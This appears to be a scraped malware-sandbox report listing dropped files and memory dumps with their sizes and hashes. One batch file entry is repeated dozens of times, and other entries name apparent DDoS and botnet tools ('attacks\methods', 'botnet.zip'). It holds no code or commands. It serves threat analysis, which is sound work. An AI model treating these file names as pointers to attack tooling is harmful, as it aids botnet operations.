afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\op.bat

Filesize
297B

MD5
3e3e4591d9c42850d1253b5b20d3f5d9

SHA1
4957f5debb0e45c38fd1542b7d71004a49a6d8a5

SHA256
afbfc9df57338dbcc78ac502e1d90b3ecdf832dc6cba34fdb142abebab3044b6

SHA512
a037f6cf63ffad9b07b9f20fbaf6b8d1a710902c82cc20a2d97cb011e8bc5b19cb7af7b872f64012e55fd738fe7fd7ce6e6b7ac25349656cf1d68dc016c902ac

Download Submit
C:\Users\Admin\Desktop\attacks\methods\cf.exe

Filesize
43.2MB

MD5
af3896ebd5ebf172dab1a15bb8abd7d6

SHA1
c6fbf55dd3e768a04b68545520eeba91eb97a904

SHA256
dc6204f72b576fec6c5b247af6f25009e963a8f798f27a7b507d46856b0c1b12

SHA512
c8f588619341fa34f927655ad91a141516cf1d57e8231e880e70e145463ffa959e758e54a1512a03851f8950f35656bb0a32be864e6c764f93b4d4e8c03c8ebc

Download Submit
C:\Users\Admin\Desktop\attacks\methods\cf.exe

Filesize
43.2MB

MD5
af3896ebd5ebf172dab1a15bb8abd7d6

SHA1
c6fbf55dd3e768a04b68545520eeba91eb97a904

SHA256
dc6204f72b576fec6c5b247af6f25009e963a8f798f27a7b507d46856b0c1b12

SHA512
c8f588619341fa34f927655ad91a141516cf1d57e8231e880e70e145463ffa959e758e54a1512a03851f8950f35656bb0a32be864e6c764f93b4d4e8c03c8ebc

Download Submit
C:\Users\Admin\Desktop\attacks\methods\http.txt

Filesize
111KB

MD5
09998de2163603a545986f7ca620a941

SHA1
5873cf15a96a857d1c0d06eba87f63445de32827

SHA256
0339184ba57923be3c0a82d67b82fa651cf9199471b0dc555af55812a5c47b93

SHA512
f93a3ec6abec58e294d9bffa3318bb6956c4a29ade117d8ab949d7ddd39cba340711b8ad9723268df9197b38be5232293ca3de37c01c973db1f4120b3f3a9795

Download Submit
C:\Users\Admin\Desktop\attacks\methods\https.exe

Filesize
35.9MB

MD5
70228b5cd219e39ddf20122c56b3866f

SHA1
c3120ad1ca629d707a7220963ad2326c2b096f37

SHA256
a5538de4385e4c1869e63cd3094e8d43efbae23377c153d9ef9ff772f169cfb5

SHA512
bae73c538df3d574451963942048e639f8a1811e0498fd741dc23510dc0702ba5f6553381e81947e9da45059c8b2eda8db75e03dba54dea486c8c87c29a50654

Download Submit
C:\Users\Admin\Desktop\attacks\methods\tlsv\.git\logs\refs\remotes\origin\HEAD

Filesize
186B

MD5
bfd3d0748ac3a838d224d452d6d5959f

SHA1
9506c3eba5b8fa602290a75597e2ef720767c5d6

SHA256
84ec21b7d8415b974e444e6e230a68a934719a7da452eb0f21ff4ff716e13ba5

SHA512
bef9d23bf2a0a5811c51684e933dba127f817a8dc4b7a0deedbc53af9beb64ab245dfa722b94f10defcbe311b448a6e593173639adb4069d076104ad6848a680

Download Submit
C:\Users\Admin\Desktop\attacks\methods\tlsv\proxy.txt

Filesize
15KB

MD5
f2de2683ee11c500fb38c4a6970be039

SHA1
713d3cd7809c61b1c1398942db84ed5bd50322ed

SHA256
8771276a762fed18d93d32a6bc9a9252576c7537697a038f5bb957760430cdf6

SHA512
b3a5111cb4f8c081f6d6d4aa79f0141f69c63624ccf0af7d41967d80332bc1cc37d2e13efe41bf223a3ed11fbffdb65bfe429ef28ad0077d22634318b64fe08e

Download Submit
C:\Users\Admin\Desktop\attacks\methods\tlsv\tls.exe

Filesize
35.9MB

MD5
5107d85d36a128c0312bac85ddceb2fe

SHA1
e66edef3791dd4b55221b9201ad9e5b2836a5900

SHA256
1c8de8844ceb9b940c45466ac982197a62edc048ce85cc87ae4e254885692005

SHA512
5b5f8e52c1463540bebde54fe3385b987cc1a594eaf74d510570e9c1a98e535a0a3f287d8bd0872c808a1b85d8c2ffe7ab8fe740a3c04db137e413fc9b4095c8

Download Submit
C:\Users\Admin\Desktop\attacks\methods\tlsv\tls.exe

Filesize
35.9MB

MD5
5107d85d36a128c0312bac85ddceb2fe

SHA1
e66edef3791dd4b55221b9201ad9e5b2836a5900

SHA256
1c8de8844ceb9b940c45466ac982197a62edc048ce85cc87ae4e254885692005

SHA512
5b5f8e52c1463540bebde54fe3385b987cc1a594eaf74d510570e9c1a98e535a0a3f287d8bd0872c808a1b85d8c2ffe7ab8fe740a3c04db137e413fc9b4095c8

Download Submit
C:\Users\Admin\Desktop\attacks\methods\tlsv\ua.txt

Filesize
21KB

MD5
764de31d4f24fb699ce883bd76479c1b

SHA1
2f23d0e08886b25496f39f6bcb029963f94eefbc

SHA256
5bd9e6ac5c22ad7e93f1ab11049d9a89d93f449fcbf45c60de3c52a7b94191ff

SHA512
0aae314395c2f1bebc2b385a5f49b72e5dbe5531360fbb967a84ca7d0a7f7981eb12c6d0be73e801de80a277d87aa5b5e41ef31b791057282986aadc827b808d

Download Submit
C:\Users\Admin\Desktop\botnet.zip

Filesize
102.2MB

MD5
5bb85a31212764a644641bae9c63335e

SHA1
595e8e7df7c8a1fd1c1bbbb973c747810ee46a37

SHA256
94cb34780ec0e193eff4dc120c09d4d2d4d87b0af48c853e4b6c7a9fd4deeb7e

SHA512
ddecf2be9bbaab3a2f93a571877e36a98fec7bfb64516646053e272fa22000183da6f865d2dc7be2af92ee480131e05d23d34efa838ca1bd15a48269551b8002

Download Submit
C:\Users\Admin\Desktop\forvmbox.exe

Filesize
92KB

MD5
8c661213d9bbfb8a9a3d42c6b6cb7059

SHA1
9f795650dfbac6f49896026b047d16f3a0c16ec9

SHA256
3a02fcf8821a21bafcdc5273eccce353036dd48ffd5c5f91a1d47e5a9fa243ce

SHA512
d21b5b738857535c6eb181636ab78c08d872d33b5b18dff50ab694f6d1afe335db321767720a0a5ab056c3c03e98195dd4086f7eb8e21abf25ff3c0ac75bf0d4

Download Submit
C:\Users\Admin\Desktop\forvmbox.exe

Filesize
92KB

MD5
8c661213d9bbfb8a9a3d42c6b6cb7059

SHA1
9f795650dfbac6f49896026b047d16f3a0c16ec9

SHA256
3a02fcf8821a21bafcdc5273eccce353036dd48ffd5c5f91a1d47e5a9fa243ce

SHA512
d21b5b738857535c6eb181636ab78c08d872d33b5b18dff50ab694f6d1afe335db321767720a0a5ab056c3c03e98195dd4086f7eb8e21abf25ff3c0ac75bf0d4

Download Submit
memory/1936-287-0x00007FFB04112000-0x00007FFB04115000-memory.dmp

Filesize
12KB

Download
memory/2992-120-0x0000021A2F1B0000-0x0000021A2F1C0000-memory.dmp

Filesize
64KB

Download
memory/2992-6-0x0000021A4B110000-0x0000021A4B132000-memory.dmp

Filesize
136KB

Download
memory/2992-11-0x00007FFAE7AE0000-0x00007FFAE85A1000-memory.dmp

Filesize
10.8MB

Download
memory/2992-12-0x0000021A2F1B0000-0x0000021A2F1C0000-memory.dmp

Filesize
64KB

Download
memory/2992-13-0x0000021A2F1B0000-0x0000021A2F1C0000-memory.dmp

Filesize
64KB

Download
memory/2992-14-0x0000021A2F1B0000-0x0000021A2F1C0000-memory.dmp

Filesize
64KB

Download
memory/2992-15-0x0000021A4B2C0000-0x0000021A4B2D2000-memory.dmp

Filesize
72KB

Download
memory/2992-16-0x0000021A4B2B0000-0x0000021A4B2BA000-memory.dmp

Filesize
40KB

Download
memory/2992-114-0x00007FFAE7AE0000-0x00007FFAE85A1000-memory.dmp

Filesize
10.8MB

Download
memory/2992-119-0x0000021A2F1B0000-0x0000021A2F1C0000-memory.dmp

Filesize
64KB

Download
memory/2992-157-0x00007FFAE7AE0000-0x00007FFAE85A1000-memory.dmp

Filesize
10.8MB

Download